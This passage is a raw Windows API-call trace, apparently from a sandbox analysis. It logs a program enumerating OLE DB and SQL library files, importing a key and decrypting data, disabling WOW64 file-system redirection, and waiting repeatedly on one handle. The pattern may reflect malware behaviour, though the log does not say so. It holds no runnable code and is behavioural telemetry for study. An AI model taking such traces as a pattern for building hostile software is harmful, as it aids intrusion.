lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0148.584] GetLastError () returned 0x12 [0148.584] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0148.585] GetLastError () returned 0x12 [0148.585] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0148.585] FindClose (in: hFindFile=0x8950f8 | out: hFindFile=0x8950f8) returned 1 [0148.585] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.585] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0148.585] GetLastError () returned 0x12 [0148.585] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0148.585] GetLastError () returned 0x12 [0148.585] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0148.585] GetLastError () returned 0x12 [0148.585] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0148.585] GetLastError () returned 0x12 [0148.586] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0148.586] GetLastError () returned 0x12 [0148.586] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0148.586] GetLastError () returned 0x12 [0148.586] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0148.586] GetLastError () returned 0x12 [0148.586] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0148.587] GetLastError () returned 0x12 [0148.587] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0148.587] GetLastError () returned 0x12 [0148.587] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0148.587] GetLastError () returned 0x12 [0148.587] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0148.587] GetLastError () returned 0x12 [0148.587] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0148.587] GetLastError () returned 0x12 [0148.588] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0148.588] GetLastError () returned 0x12 [0148.588] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0148.588] GetLastError () returned 0x12 [0156.226] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8d50 | out: hHeap=0x23a0000) returned 1 Thread: id = 78 os_tid = 0xf44 [0147.237] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x36b4098 [0147.237] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x36c40a0 [0147.238] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23abfa8 [0147.238] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x110102) returned 0x4263020 [0147.241] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x50) returned 0x23abfd8 [0147.241] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fc30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc98 | out: phKey=0x3e9fc98*=0x8369a0) returned 1 [0147.242] CryptSetKeyParam (hKey=0x8369a0, dwParam=0x1, pbData=0x3e9fc80, dwFlags=0x0) returned 1 [0147.242] CryptDecrypt (in: hKey=0x8369a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23abfd8, pdwDataLen=0x3e9fc4c | out: pbData=0x23abfd8, pdwDataLen=0x3e9fc4c) returned 1 [0147.242] CryptDestroyKey (hKey=0x8369a0) returned 1 [0147.242] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0147.242] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0147.242] Wow64DisableWow64FsRedirection (in: OldValue=0x3e9fce4 | out: OldValue=0x3e9fce4*=0x0) returned 1 [0147.242] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23abfd8 | out: hHeap=0x23a0000) returned 1 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.243] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.244] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.244] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.244] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.244] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.244] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.245] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.245] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.245] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.245] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.245] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.245] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.246] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.247] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.248] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.249] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.249] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.249] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.249] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.249] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.249] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.250] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.250] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.250] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.250] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.250] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.251] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.252] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.253] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.254] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.254] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.254] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.254] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.255] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.255] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.255] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.255] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.255] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.255] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.256] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.257] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.258] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.259] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.260] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.261] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.262] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.263] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.264] WaitForSingleObject 